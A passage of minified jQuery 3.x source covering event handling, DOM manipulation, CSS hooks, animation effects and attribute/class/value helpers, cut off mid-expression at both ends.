c,d,e,f,g=[],h=b.delegateCount,i=a.target;if(h&&i.nodeType&&("click"!==a.type||isNaN(a.button)||a.button<1))for(;i!==this;i=i.parentNode||this)if(1===i.nodeType&&(i.disabled!==!0||"click"!==a.type)){for(d=[],c=0;c<h;c++)f=b[c],e=f.selector+" ",void 0===d[e]&&(d[e]=f.needsContext?r(e,this).index(i)>-1:r.find(e,this,null,[i]).length),d[e]&&d.push(f);d.length&&g.push({elem:i,handlers:d})}return h<b.length&&g.push({elem:this,handlers:b.slice(h)}),g},addProp:function(a,b){Object.defineProperty(r.Event.prototype,a,{enumerable:!0,configurable:!0,get:r.isFunction(b)?function(){if(this.originalEvent)return b(this.originalEvent)}:function(){if(this.originalEvent)return this.originalEvent[a]},set:function(b){Object.defineProperty(this,a,{enumerable:!0,configurable:!0,writable:!0,value:b})}})},fix:function(a){return a[r.expando]?a:new r.Event(a)},special:{load:{noBubble:!0},focus:{trigger:function(){if(this!==va()&&this.focus)return this.focus(),!1},delegateType:"focusin"},blur:{trigger:function(){if(this===va()&&this.blur)return this.blur(),!1},delegateType:"focusout"},click:{trigger:function(){if("checkbox"===this.type&&this.click&&r.nodeName(this,"input"))return this.click(),!1},_default:function(a){return r.nodeName(a.target,"a")}},beforeunload:{postDispatch:function(a){void 0!==a.result&&a.originalEvent&&(a.originalEvent.returnValue=a.result)}}}},r.removeEvent=function(a,b,c){a.removeEventListener&&a.removeEventListener(b,c)},r.Event=function(a,b){return this instanceof r.Event?(a&&a.type?(this.originalEvent=a,this.type=a.type,this.isDefaultPrevented=a.defaultPrevented||void 0===a.defaultPrevented&&a.returnValue===!1?ta:ua,this.target=a.target&&3===a.target.nodeType?a.target.parentNode:a.target,this.currentTarget=a.currentTarget,this.relatedTarget=a.relatedTarget):this.type=a,b&&r.extend(this,b),this.timeStamp=a&&a.timeStamp||r.now(),void(this[r.expando]=!0)):new r.Event(a,b)},r.Event.prototype={constructor:r.Event,isDefaultPrevented:ua,isPropagationStopped:ua,isImmediatePropagationStopped:ua,isSimulated:!1,preventDefault:function(){var a=this.originalEvent;this.isDefaultPrevented=ta,a&&!this.isSimulated&&a.preventDefault()},stopPropagation:function(){var a=this.originalEvent;this.isPropagationStopped=ta,a&&!this.isSimulated&&a.stopPropagation()},stopImmediatePropagation:function(){var a=this.originalEvent;this.isImmediatePropagationStopped=ta,a&&!this.isSimulated&&a.stopImmediatePropagation(),this.stopPropagation()}},r.each({altKey:!0,bubbles:!0,cancelable:!0,changedTouches:!0,ctrlKey:!0,detail:!0,eventPhase:!0,metaKey:!0,pageX:!0,pageY:!0,shiftKey:!0,view:!0,"char":!0,charCode:!0,key:!0,keyCode:!0,button:!0,buttons:!0,clientX:!0,clientY:!0,offsetX:!0,offsetY:!0,pointerId:!0,pointerType:!0,screenX:!0,screenY:!0,targetTouches:!0,toElement:!0,touches:!0,which:function(a){var b=a.button;return null==a.which&&qa.test(a.type)?null!=a.charCode?a.charCode:a.keyCode:!a.which&&void 0!==b&&ra.test(a.type)?1&b?1:2&b?3:4&b?2:0:a.which}},r.event.addProp),r.each({mouseenter:"mouseover",mouseleave:"mouseout",pointerenter:"pointerover",pointerleave:"pointerout"},function(a,b){r.event.special[a]={delegateType:b,bindType:b,handle:function(a){var c,d=this,e=a.relatedTarget,f=a.handleObj;return e&&(e===d||r.contains(d,e))||(a.type=f.origType,c=f.handler.apply(this,arguments),a.type=b),c}}}),r.fn.extend({on:function(a,b,c,d){return wa(this,a,b,c,d)},one:function(a,b,c,d){return wa(this,a,b,c,d,1)},off:function(a,b,c){var d,e;if(a&&a.preventDefault&&a.handleObj)return d=a.handleObj,r(a.delegateTarget).off(d.namespace?d.origType+"."+d.namespace:d.origType,d.selector,d.handler),this;if("object"==typeof a){for(e in a)this.off(e,b,a[e]);return this}return b!==!1&&"function"!=typeof b||(c=b,b=void 0),c===!1&&(c=ua),this.each(function(){r.event.remove(this,a,c,b)})}});var xa=/<(?!area|br|col|embed|hr|img|input|link|meta|param)(([a-z][^\/\0>\x20\t\r\n\f]*)[^>]*)\/>/gi,ya=/<script|<style|<link/i,za=/checked\s*(?:[^=]|=\s*.checked.)/i,Aa=/^true\/(.*)/,Ba=/^\s*<!(?:\[CDATA\[|--)|(?:\]\]|--)>\s*$/g;function Ca(a,b){return r.nodeName(a,"table")&&r.nodeName(11!==b.nodeType?b:b.firstChild,"tr")?a.getElementsByTagName("tbody")[0]||a:a}function Da(a){return a.type=(null!==a.getAttribute("type"))+"/"+a.type,a}function Ea(a){var b=Aa.exec(a.type);return b?a.type=b[1]:a.removeAttribute("type"),a}function Fa(a,b){var c,d,e,f,g,h,i,j;if(1===b.nodeType){if(V.hasData(a)&&(f=V.access(a),g=V.set(b,f),j=f.events)){delete g.handle,g.events={};for(e in j)for(c=0,d=j[e].length;c<d;c++)r.event.add(b,e,j[e][c])}W.hasData(a)&&(h=W.access(a),i=r.extend({},h),W.set(b,i))}}function Ga(a,b){var c=b.nodeName.toLowerCase();"input"===c&&ha.test(a.type)?b.checked=a.checked:"input"!==c&&"textarea"!==c||(b.defaultValue=a.defaultValue)}function Ha(a,b,c,d){b=g.apply([],b);var e,f,h,i,j,k,l=0,m=a.length,n=m-1,q=b[0],s=r.isFunction(q);if(s||m>1&&"string"==typeof q&&!o.checkClone&&za.test(q))return a.each(function(e){var f=a.eq(e);s&&(b[0]=q.call(this,e,f.html())),Ha(f,b,c,d)});if(m&&(e=oa(b,a[0].ownerDocument,!1,a,d),f=e.firstChild,1===e.childNodes.length&&(e=f),f||d)){for(h=r.map(la(e,"script"),Da),i=h.length;l<m;l++)j=e,l!==n&&(j=r.clone(j,!0,!0),i&&r.merge(h,la(j,"script"))),c.call(a[l],j,l);if(i)for(k=h[h.length-1].ownerDocument,r.map(h,Ea),l=0;l<i;l++)j=h[l],ja.test(j.type||"")&&!V.access(j,"globalEval")&&r.contains(k,j)&&(j.src?r._evalUrl&&r._evalUrl(j.src):p(j.textContent.replace(Ba,""),k))}return a}function Ia(a,b,c){for(var d,e=b?r.filter(b,a):a,f=0;null!=(d=e[f]);f++)c||1!==d.nodeType||r.cleanData(la(d)),d.parentNode&&(c&&r.contains(d.ownerDocument,d)&&ma(la(d,"script")),d.parentNode.removeChild(d));return a}r.extend({htmlPrefilter:function(a){return a.replace(xa,"<$1></$2>")},clone:function(a,b,c){var d,e,f,g,h=a.cloneNode(!0),i=r.contains(a.ownerDocument,a);if(!(o.noCloneChecked||1!==a.nodeType&&11!==a.nodeType||r.isXMLDoc(a)))for(g=la(h),f=la(a),d=0,e=f.length;d<e;d++)Ga(f[d],g[d]);if(b)if(c)for(f=f||la(a),g=g||la(h),d=0,e=f.length;d<e;d++)Fa(f[d],g[d]);else Fa(a,h);return g=la(h,"script"),g.length>0&&ma(g,!i&&la(a,"script")),h},cleanData:function(a){for(var b,c,d,e=r.event.special,f=0;void 0!==(c=a[f]);f++)if(T(c)){if(b=c[V.expando]){if(b.events)for(d in b.events)e[d]?r.event.remove(c,d):r.removeEvent(c,d,b.handle);c[V.expando]=void 0}c[W.expando]&&(c[W.expando]=void 0)}}}),r.fn.extend({detach:function(a){return Ia(this,a,!0)},remove:function(a){return Ia(this,a)},text:function(a){return S(this,function(a){return void 0===a?r.text(this):this.empty().each(function(){1!==this.nodeType&&11!==this.nodeType&&9!==this.nodeType||(this.textContent=a)})},null,a,arguments.length)},append:function(){return Ha(this,arguments,function(a){if(1===this.nodeType||11===this.nodeType||9===this.nodeType){var b=Ca(this,a);b.appendChild(a)}})},prepend:function(){return Ha(this,arguments,function(a){if(1===this.nodeType||11===this.nodeType||9===this.nodeType){var b=Ca(this,a);b.insertBefore(a,b.firstChild)}})},before:function(){return Ha(this,arguments,function(a){this.parentNode&&this.parentNode.insertBefore(a,this)})},after:function(){return Ha(this,arguments,function(a){this.parentNode&&this.parentNode.insertBefore(a,this.nextSibling)})},empty:function(){for(var a,b=0;null!=(a=this[b]);b++)1===a.nodeType&&(r.cleanData(la(a,!1)),a.textContent="");return this},clone:function(a,b){return a=null!=a&&a,b=null==b?a:b,this.map(function(){return r.clone(this,a,b)})},html:function(a){return S(this,function(a){var b=this[0]||{},c=0,d=this.length;if(void 0===a&&1===b.nodeType)return b.innerHTML;if("string"==typeof a&&!ya.test(a)&&!ka[(ia.exec(a)||["",""])[1].toLowerCase()]){a=r.htmlPrefilter(a);try{for(;c<d;c++)b=this[c]||{},1===b.nodeType&&(r.cleanData(la(b,!1)),b.innerHTML=a);b=0}catch(e){}}b&&this.empty().append(a)},null,a,arguments.length)},replaceWith:function(){var a=[];return Ha(this,arguments,function(b){var c=this.parentNode;r.inArray(this,a)<0&&(r.cleanData(la(this)),c&&c.replaceChild(b,this))},a)}}),r.each({appendTo:"append",prependTo:"prepend",insertBefore:"before",insertAfter:"after",replaceAll:"replaceWith"},function(a,b){r.fn[a]=function(a){for(var c,d=[],e=r(a),f=e.length-1,g=0;g<=f;g++)c=g===f?this:this.clone(!0),r(e[g])[b](c),h.apply(d,c.get());return this.pushStack(d)}});var Ja=/^margin/,Ka=new RegExp("^("+$+")(?!px)[a-z%]+$","i"),La=function(b){var c=b.ownerDocument.defaultView;return c&&c.opener||(c=a),c.getComputedStyle(b)};!function(){function b(){if(i){i.style.cssText="box-sizing:border-box;position:relative;display:block;margin:auto;border:1px;padding:1px;top:1%;width:50%",i.innerHTML="",pa.appendChild(h);var b=a.getComputedStyle(i);c="1%"!==b.top,g="2px"===b.marginLeft,e="4px"===b.width,i.style.marginRight="50%",f="4px"===b.marginRight,pa.removeChild(h),i=null}}var c,e,f,g,h=d.createElement("div"),i=d.createElement("div");i.style&&(i.style.backgroundClip="content-box",i.cloneNode(!0).style.backgroundClip="",o.clearCloneStyle="content-box"===i.style.backgroundClip,h.style.cssText="border:0;width:8px;height:0;top:0;left:-9999px;padding:0;margin-top:1px;position:absolute",h.appendChild(i),r.extend(o,{pixelPosition:function(){return b(),c},boxSizingReliable:function(){return b(),e},pixelMarginRight:function(){return b(),f},reliableMarginLeft:function(){return b(),g}}))}();function Ma(a,b,c){var d,e,f,g,h=a.style;return c=c||La(a),c&&(g=c.getPropertyValue(b)||c[b],""!==g||r.contains(a.ownerDocument,a)||(g=r.style(a,b)),!o.pixelMarginRight()&&Ka.test(g)&&Ja.test(b)&&(d=h.width,e=h.minWidth,f=h.maxWidth,h.minWidth=h.maxWidth=h.width=g,g=c.width,h.width=d,h.minWidth=e,h.maxWidth=f)),void 0!==g?g+"":g}function Na(a,b){return{get:function(){return a()?void delete this.get:(this.get=b).apply(this,arguments)}}}var Oa=/^(none|table(?!-c[ea]).+)/,Pa={position:"absolute",visibility:"hidden",display:"block"},Qa={letterSpacing:"0",fontWeight:"400"},Ra=["Webkit","Moz","ms"],Sa=d.createElement("div").style;function Ta(a){if(a in Sa)return a;var b=a[0].toUpperCase()+a.slice(1),c=Ra.length;while(c--)if(a=Ra[c]+b,a in Sa)return a}function Ua(a,b,c){var d=_.exec(b);return d?Math.max(0,d[2]-(c||0))+(d[3]||"px"):b}function Va(a,b,c,d,e){for(var f=c===(d?"border":"content")?4:"width"===b?1:0,g=0;f<4;f+=2)"margin"===c&&(g+=r.css(a,c+aa[f],!0,e)),d?("content"===c&&(g-=r.css(a,"padding"+aa[f],!0,e)),"margin"!==c&&(g-=r.css(a,"border"+aa[f]+"Width",!0,e))):(g+=r.css(a,"padding"+aa[f],!0,e),"padding"!==c&&(g+=r.css(a,"border"+aa[f]+"Width",!0,e)));return g}function Wa(a,b,c){var d,e=!0,f=La(a),g="border-box"===r.css(a,"boxSizing",!1,f);if(a.getClientRects().length&&(d=a.getBoundingClientRect()[b]),d<=0||null==d){if(d=Ma(a,b,f),(d<0||null==d)&&(d=a.style[b]),Ka.test(d))return d;e=g&&(o.boxSizingReliable()||d===a.style[b]),d=parseFloat(d)||0}return d+Va(a,b,c||(g?"border":"content"),e,f)+"px"}r.extend({cssHooks:{opacity:{get:function(a,b){if(b){var c=Ma(a,"opacity");return""===c?"1":c}}}},cssNumber:{animationIterationCount:!0,columnCount:!0,fillOpacity:!0,flexGrow:!0,flexShrink:!0,fontWeight:!0,lineHeight:!0,opacity:!0,order:!0,orphans:!0,widows:!0,zIndex:!0,zoom:!0},cssProps:{"float":"cssFloat"},style:function(a,b,c,d){if(a&&3!==a.nodeType&&8!==a.nodeType&&a.style){var e,f,g,h=r.camelCase(b),i=a.style;return b=r.cssProps[h]||(r.cssProps[h]=Ta(h)||h),g=r.cssHooks[b]||r.cssHooks[h],void 0===c?g&&"get"in g&&void 0!==(e=g.get(a,!1,d))?e:i[b]:(f=typeof c,"string"===f&&(e=_.exec(c))&&e[1]&&(c=da(a,b,e),f="number"),null!=c&&c===c&&("number"===f&&(c+=e&&e[3]||(r.cssNumber[h]?"":"px")),o.clearCloneStyle||""!==c||0!==b.indexOf("background")||(i[b]="inherit"),g&&"set"in g&&void 0===(c=g.set(a,c,d))||(i[b]=c)),void 0)}},css:function(a,b,c,d){var e,f,g,h=r.camelCase(b);return b=r.cssProps[h]||(r.cssProps[h]=Ta(h)||h),g=r.cssHooks[b]||r.cssHooks[h],g&&"get"in g&&(e=g.get(a,!0,c)),void 0===e&&(e=Ma(a,b,d)),"normal"===e&&b in Qa&&(e=Qa[b]),""===c||c?(f=parseFloat(e),c===!0||isFinite(f)?f||0:e):e}}),r.each(["height","width"],function(a,b){r.cssHooks[b]={get:function(a,c,d){if(c)return!Oa.test(r.css(a,"display"))||a.getClientRects().length&&a.getBoundingClientRect().width?Wa(a,b,d):ca(a,Pa,function(){return Wa(a,b,d)})},set:function(a,c,d){var e,f=d&&La(a),g=d&&Va(a,b,d,"border-box"===r.css(a,"boxSizing",!1,f),f);return g&&(e=_.exec(c))&&"px"!==(e[3]||"px")&&(a.style[b]=c,c=r.css(a,b)),Ua(a,c,g)}}}),r.cssHooks.marginLeft=Na(o.reliableMarginLeft,function(a,b){if(b)return(parseFloat(Ma(a,"marginLeft"))||a.getBoundingClientRect().left-ca(a,{marginLeft:0},function(){return a.getBoundingClientRect().left}))+"px"}),r.each({margin:"",padding:"",border:"Width"},function(a,b){r.cssHooks[a+b]={expand:function(c){for(var d=0,e={},f="string"==typeof c?c.split(" "):[c];d<4;d++)e[a+aa[d]+b]=f[d]||f[d-2]||f[0];return e}},Ja.test(a)||(r.cssHooks[a+b].set=Ua)}),r.fn.extend({css:function(a,b){return S(this,function(a,b,c){var d,e,f={},g=0;if(r.isArray(b)){for(d=La(a),e=b.length;g<e;g++)f[b[g]]=r.css(a,b[g],!1,d);return f}return void 0!==c?r.style(a,b,c):r.css(a,b)},a,b,arguments.length>1)}});function Xa(a,b,c,d,e){return new Xa.prototype.init(a,b,c,d,e)}r.Tween=Xa,Xa.prototype={constructor:Xa,init:function(a,b,c,d,e,f){this.elem=a,this.prop=c,this.easing=e||r.easing._default,this.options=b,this.start=this.now=this.cur(),this.end=d,this.unit=f||(r.cssNumber[c]?"":"px")},cur:function(){var a=Xa.propHooks[this.prop];return a&&a.get?a.get(this):Xa.propHooks._default.get(this)},run:function(a){var b,c=Xa.propHooks[this.prop];return this.options.duration?this.pos=b=r.easing[this.easing](a,this.options.duration*a,0,1,this.options.duration):this.pos=b=a,this.now=(this.end-this.start)*b+this.start,this.options.step&&this.options.step.call(this.elem,this.now,this),c&&c.set?c.set(this):Xa.propHooks._default.set(this),this}},Xa.prototype.init.prototype=Xa.prototype,Xa.propHooks={_default:{get:function(a){var b;return 1!==a.elem.nodeType||null!=a.elem[a.prop]&&null==a.elem.style[a.prop]?a.elem[a.prop]:(b=r.css(a.elem,a.prop,""),b&&"auto"!==b?b:0)},set:function(a){r.fx.step[a.prop]?r.fx.step[a.prop](a):1!==a.elem.nodeType||null==a.elem.style[r.cssProps[a.prop]]&&!r.cssHooks[a.prop]?a.elem[a.prop]=a.now:r.style(a.elem,a.prop,a.now+a.unit)}}},Xa.propHooks.scrollTop=Xa.propHooks.scrollLeft={set:function(a){a.elem.nodeType&&a.elem.parentNode&&(a.elem[a.prop]=a.now)}},r.easing={linear:function(a){return a},swing:function(a){return.5-Math.cos(a*Math.PI)/2},_default:"swing"},r.fx=Xa.prototype.init,r.fx.step={};var Ya,Za,$a=/^(?:toggle|show|hide)$/,_a=/queueHooks$/;function ab(){Za&&(a.requestAnimationFrame(ab),r.fx.tick())}function bb(){return a.setTimeout(function(){Ya=void 0}),Ya=r.now()}function cb(a,b){var c,d=0,e={height:a};for(b=b?1:0;d<4;d+=2-b)c=aa[d],e["margin"+c]=e["padding"+c]=a;return b&&(e.opacity=e.width=a),e}function db(a,b,c){for(var d,e=(gb.tweeners[b]||[]).concat(gb.tweeners["*"]),f=0,g=e.length;f<g;f++)if(d=e[f].call(c,b,a))return d}function eb(a,b,c){var d,e,f,g,h,i,j,k,l="width"in b||"height"in b,m=this,n={},o=a.style,p=a.nodeType&&ba(a),q=V.get(a,"fxshow");c.queue||(g=r._queueHooks(a,"fx"),null==g.unqueued&&(g.unqueued=0,h=g.empty.fire,g.empty.fire=function(){g.unqueued||h()}),g.unqueued++,m.always(function(){m.always(function(){g.unqueued--,r.queue(a,"fx").length||g.empty.fire()})}));for(d in b)if(e=b[d],$a.test(e)){if(delete b[d],f=f||"toggle"===e,e===(p?"hide":"show")){if("show"!==e||!q||void 0===q[d])continue;p=!0}n[d]=q&&q[d]||r.style(a,d)}if(i=!r.isEmptyObject(b),i||!r.isEmptyObject(n)){l&&1===a.nodeType&&(c.overflow=[o.overflow,o.overflowX,o.overflowY],j=q&&q.display,null==j&&(j=V.get(a,"display")),k=r.css(a,"display"),"none"===k&&(j?k=j:(ga([a],!0),j=a.style.display||j,k=r.css(a,"display"),ga([a]))),("inline"===k||"inline-block"===k&&null!=j)&&"none"===r.css(a,"float")&&(i||(m.done(function(){o.display=j}),null==j&&(k=o.display,j="none"===k?"":k)),o.display="inline-block")),c.overflow&&(o.overflow="hidden",m.always(function(){o.overflow=c.overflow[0],o.overflowX=c.overflow[1],o.overflowY=c.overflow[2]})),i=!1;for(d in n)i||(q?"hidden"in q&&(p=q.hidden):q=V.access(a,"fxshow",{display:j}),f&&(q.hidden=!p),p&&ga([a],!0),m.done(function(){p||ga([a]),V.remove(a,"fxshow");for(d in n)r.style(a,d,n[d])})),i=db(p?q[d]:0,d,m),d in q||(q[d]=i.start,p&&(i.end=i.start,i.start=0))}}function fb(a,b){var c,d,e,f,g;for(c in a)if(d=r.camelCase(c),e=b[d],f=a[c],r.isArray(f)&&(e=f[1],f=a[c]=f[0]),c!==d&&(a[d]=f,delete a[c]),g=r.cssHooks[d],g&&"expand"in g){f=g.expand(f),delete a[d];for(c in f)c in a||(a[c]=f[c],b[c]=e)}else b[d]=e}function gb(a,b,c){var d,e,f=0,g=gb.prefilters.length,h=r.Deferred().always(function(){delete i.elem}),i=function(){if(e)return!1;for(var b=Ya||bb(),c=Math.max(0,j.startTime+j.duration-b),d=c/j.duration||0,f=1-d,g=0,i=j.tweens.length;g<i;g++)j.tweens[g].run(f);return h.notifyWith(a,[j,f,c]),f<1&&i?c:(h.resolveWith(a,[j]),!1)},j=h.promise({elem:a,props:r.extend({},b),opts:r.extend(!0,{specialEasing:{},easing:r.easing._default},c),originalProperties:b,originalOptions:c,startTime:Ya||bb(),duration:c.duration,tweens:[],createTween:function(b,c){var d=r.Tween(a,j.opts,b,c,j.opts.specialEasing[b]||j.opts.easing);return j.tweens.push(d),d},stop:function(b){var c=0,d=b?j.tweens.length:0;if(e)return this;for(e=!0;c<d;c++)j.tweens[c].run(1);return b?(h.notifyWith(a,[j,1,0]),h.resolveWith(a,[j,b])):h.rejectWith(a,[j,b]),this}}),k=j.props;for(fb(k,j.opts.specialEasing);f<g;f++)if(d=gb.prefilters[f].call(j,a,k,j.opts))return r.isFunction(d.stop)&&(r._queueHooks(j.elem,j.opts.queue).stop=r.proxy(d.stop,d)),d;return r.map(k,db,j),r.isFunction(j.opts.start)&&j.opts.start.call(a,j),r.fx.timer(r.extend(i,{elem:a,anim:j,queue:j.opts.queue})),j.progress(j.opts.progress).done(j.opts.done,j.opts.complete).fail(j.opts.fail).always(j.opts.always)}r.Animation=r.extend(gb,{tweeners:{"*":[function(a,b){var c=this.createTween(a,b);return da(c.elem,a,_.exec(b),c),c}]},tweener:function(a,b){r.isFunction(a)?(b=a,a=["*"]):a=a.match(K);for(var c,d=0,e=a.length;d<e;d++)c=a[d],gb.tweeners[c]=gb.tweeners[c]||[],gb.tweeners[c].unshift(b)},prefilters:[eb],prefilter:function(a,b){b?gb.prefilters.unshift(a):gb.prefilters.push(a)}}),r.speed=function(a,b,c){var e=a&&"object"==typeof a?r.extend({},a):{complete:c||!c&&b||r.isFunction(a)&&a,duration:a,easing:c&&b||b&&!r.isFunction(b)&&b};return r.fx.off||d.hidden?e.duration=0:e.duration="number"==typeof e.duration?e.duration:e.duration in r.fx.speeds?r.fx.speeds[e.duration]:r.fx.speeds._default,null!=e.queue&&e.queue!==!0||(e.queue="fx"),e.old=e.complete,e.complete=function(){r.isFunction(e.old)&&e.old.call(this),e.queue&&r.dequeue(this,e.queue)},e},r.fn.extend({fadeTo:function(a,b,c,d){return this.filter(ba).css("opacity",0).show().end().animate({opacity:b},a,c,d)},animate:function(a,b,c,d){var e=r.isEmptyObject(a),f=r.speed(b,c,d),g=function(){var b=gb(this,r.extend({},a),f);(e||V.get(this,"finish"))&&b.stop(!0)};return g.finish=g,e||f.queue===!1?this.each(g):this.queue(f.queue,g)},stop:function(a,b,c){var d=function(a){var b=a.stop;delete a.stop,b(c)};return"string"!=typeof a&&(c=b,b=a,a=void 0),b&&a!==!1&&this.queue(a||"fx",[]),this.each(function(){var b=!0,e=null!=a&&a+"queueHooks",f=r.timers,g=V.get(this);if(e)g[e]&&g[e].stop&&d(g[e]);else for(e in g)g[e]&&g[e].stop&&_a.test(e)&&d(g[e]);for(e=f.length;e--;)f[e].elem!==this||null!=a&&f[e].queue!==a||(f[e].anim.stop(c),b=!1,f.splice(e,1));!b&&c||r.dequeue(this,a)})},finish:function(a){return a!==!1&&(a=a||"fx"),this.each(function(){var b,c=V.get(this),d=c[a+"queue"],e=c[a+"queueHooks"],f=r.timers,g=d?d.length:0;for(c.finish=!0,r.queue(this,a,[]),e&&e.stop&&e.stop.call(this,!0),b=f.length;b--;)f[b].elem===this&&f[b].queue===a&&(f[b].anim.stop(!0),f.splice(b,1));for(b=0;b<g;b++)d[b]&&d[b].finish&&d[b].finish.call(this);delete c.finish})}}),r.each(["toggle","show","hide"],function(a,b){var c=r.fn[b];r.fn[b]=function(a,d,e){return null==a||"boolean"==typeof a?c.apply(this,arguments):this.animate(cb(b,!0),a,d,e)}}),r.each({slideDown:cb("show"),slideUp:cb("hide"),slideToggle:cb("toggle"),fadeIn:{opacity:"show"},fadeOut:{opacity:"hide"},fadeToggle:{opacity:"toggle"}},function(a,b){r.fn[a]=function(a,c,d){return this.animate(b,a,c,d)}}),r.timers=[],r.fx.tick=function(){var a,b=0,c=r.timers;for(Ya=r.now();b<c.length;b++)a=c[b],a()||c[b]!==a||c.splice(b--,1);c.length||r.fx.stop(),Ya=void 0},r.fx.timer=function(a){r.timers.push(a),a()?r.fx.start():r.timers.pop()},r.fx.interval=13,r.fx.start=function(){Za||(Za=a.requestAnimationFrame?a.requestAnimationFrame(ab):a.setInterval(r.fx.tick,r.fx.interval))},r.fx.stop=function(){a.cancelAnimationFrame?a.cancelAnimationFrame(Za):a.clearInterval(Za),Za=null},r.fx.speeds={slow:600,fast:200,_default:400},r.fn.delay=function(b,c){return b=r.fx?r.fx.speeds[b]||b:b,c=c||"fx",this.queue(c,function(c,d){var e=a.setTimeout(c,b);d.stop=function(){a.clearTimeout(e)}})},function(){var a=d.createElement("input"),b=d.createElement("select"),c=b.appendChild(d.createElement("option"));a.type="checkbox",o.checkOn=""!==a.value,o.optSelected=c.selected,a=d.createElement("input"),a.value="t",a.type="radio",o.radioValue="t"===a.value}();var hb,ib=r.expr.attrHandle;r.fn.extend({attr:function(a,b){return S(this,r.attr,a,b,arguments.length>1)},removeAttr:function(a){return this.each(function(){r.removeAttr(this,a)})}}),r.extend({attr:function(a,b,c){var d,e,f=a.nodeType;if(3!==f&&8!==f&&2!==f)return"undefined"==typeof a.getAttribute?r.prop(a,b,c):(1===f&&r.isXMLDoc(a)||(e=r.attrHooks[b.toLowerCase()]||(r.expr.match.bool.test(b)?hb:void 0)),void 0!==c?null===c?void r.removeAttr(a,b):e&&"set"in e&&void 0!==(d=e.set(a,c,b))?d:(a.setAttribute(b,c+""),c):e&&"get"in e&&null!==(d=e.get(a,b))?d:(d=r.find.attr(a,b),null==d?void 0:d))},attrHooks:{type:{set:function(a,b){if(!o.radioValue&&"radio"===b&&r.nodeName(a,"input")){var c=a.value;return a.setAttribute("type",b),c&&(a.value=c),b}}}},removeAttr:function(a,b){var c,d=0,e=b&&b.match(K);
++if(e&&1===a.nodeType)while(c=e[d++])a.removeAttribute(c)}}),hb={set:function(a,b,c){return b===!1?r.removeAttr(a,c):a.setAttribute(c,c),c}},r.each(r.expr.match.bool.source.match(/\w+/g),function(a,b){var c=ib[b]||r.find.attr;ib[b]=function(a,b,d){var e,f,g=b.toLowerCase();return d||(f=ib[g],ib[g]=e,e=null!=c(a,b,d)?g:null,ib[g]=f),e}});var jb=/^(?:input|select|textarea|button)$/i,kb=/^(?:a|area)$/i;r.fn.extend({prop:function(a,b){return S(this,r.prop,a,b,arguments.length>1)},removeProp:function(a){return this.each(function(){delete this[r.propFix[a]||a]})}}),r.extend({prop:function(a,b,c){var d,e,f=a.nodeType;if(3!==f&&8!==f&&2!==f)return 1===f&&r.isXMLDoc(a)||(b=r.propFix[b]||b,e=r.propHooks[b]),void 0!==c?e&&"set"in e&&void 0!==(d=e.set(a,c,b))?d:a[b]=c:e&&"get"in e&&null!==(d=e.get(a,b))?d:a[b]},propHooks:{tabIndex:{get:function(a){var b=r.find.attr(a,"tabindex");return b?parseInt(b,10):jb.test(a.nodeName)||kb.test(a.nodeName)&&a.href?0:-1}}},propFix:{"for":"htmlFor","class":"className"}}),o.optSelected||(r.propHooks.selected={get:function(a){var b=a.parentNode;return b&&b.parentNode&&b.parentNode.selectedIndex,null},set:function(a){var b=a.parentNode;b&&(b.selectedIndex,b.parentNode&&b.parentNode.selectedIndex)}}),r.each(["tabIndex","readOnly","maxLength","cellSpacing","cellPadding","rowSpan","colSpan","useMap","frameBorder","contentEditable"],function(){r.propFix[this.toLowerCase()]=this});var lb=/[\t\r\n\f]/g;function mb(a){return a.getAttribute&&a.getAttribute("class")||""}r.fn.extend({addClass:function(a){var b,c,d,e,f,g,h,i=0;if(r.isFunction(a))return this.each(function(b){r(this).addClass(a.call(this,b,mb(this)))});if("string"==typeof a&&a){b=a.match(K)||[];while(c=this[i++])if(e=mb(c),d=1===c.nodeType&&(" "+e+" ").replace(lb," ")){g=0;while(f=b[g++])d.indexOf(" "+f+" ")<0&&(d+=f+" ");h=r.trim(d),e!==h&&c.setAttribute("class",h)}}return this},removeClass:function(a){var b,c,d,e,f,g,h,i=0;if(r.isFunction(a))return this.each(function(b){r(this).removeClass(a.call(this,b,mb(this)))});if(!arguments.length)return this.attr("class","");if("string"==typeof a&&a){b=a.match(K)||[];while(c=this[i++])if(e=mb(c),d=1===c.nodeType&&(" "+e+" ").replace(lb," ")){g=0;while(f=b[g++])while(d.indexOf(" "+f+" ")>-1)d=d.replace(" "+f+" "," ");h=r.trim(d),e!==h&&c.setAttribute("class",h)}}return this},toggleClass:function(a,b){var c=typeof a;return"boolean"==typeof b&&"string"===c?b?this.addClass(a):this.removeClass(a):r.isFunction(a)?this.each(function(c){r(this).toggleClass(a.call(this,c,mb(this),b),b)}):this.each(function(){var b,d,e,f;if("string"===c){d=0,e=r(this),f=a.match(K)||[];while(b=f[d++])e.hasClass(b)?e.removeClass(b):e.addClass(b)}else void 0!==a&&"boolean"!==c||(b=mb(this),b&&V.set(this,"__className__",b),this.setAttribute&&this.setAttribute("class",b||a===!1?"":V.get(this,"__className__")||""))})},hasClass:function(a){var b,c,d=0;b=" "+a+" ";while(c=this[d++])if(1===c.nodeType&&(" "+mb(c)+" ").replace(lb," ").indexOf(b)>-1)return!0;return!1}});var nb=/\r/g,ob=/[\x20\t\r\n\f]+/g;r.fn.extend({val:function(a){var b,c,d,e=this[0];{if(arguments.length)return d=r.isFunction(a),this.each(function(c){var e;1===this.nodeType&&(e=d?a.call(this,c,r(this).val()):a,null==e?e="":"number"==typeof e?e+="":r.isArray(e)&&(e=r.map(e,function(a){return null==a?"":a+""})),b=r.valHooks[this.type]||r.valHooks[this.nodeName.toLowerCase()],b&&"set"in b&&void 0!==b.set(this,e,"value")||(this.value=e))});if(e)return b=r.valHooks[e.type]||r.valHooks[e.nodeName.toLowerCase()],b&&"get"in b&&void 0!==(c=b.get(e,"value"))?c:(c=e.value,"string"==typeof c?c.replace(nb,""):null==c?"":c)}}}),r.extend({valHooks:{option:{get:function(a){var b=r.find.attr(a,"value");return null!=b?b:r.trim(r.text(a)).replace(ob," ")}},select:{get:function(a){for(var b,c,d=a.options,e=a.selectedIndex,f="select-one"===a.type,g=f?null:[],h=f?e+1:d.length,i=e<0?h:f?e:0;i<h;i++)if(c=d[i],(c.selected||i===e)&&!c.disabled&&(!c.parentNode.disabled||!r.nodeName(c.parentNode,"optgroup"))){if(b=r(c).val(),f)return b;g.push(b)}return g},set:function(a,b){var c,d,e=a.options,f=r.makeArray(b),g=e.length;while(g--)d=e[g],(d.selected=r.inArray(r.valHooks.option.get(d),f)>-1)&&(c=!0);return c||(a.selectedIndex=-1),f}}}}),r.each(["radio","checkbox"],function(){r.valHooks[this]={set:function(a,b){if(r.isArray(b))return 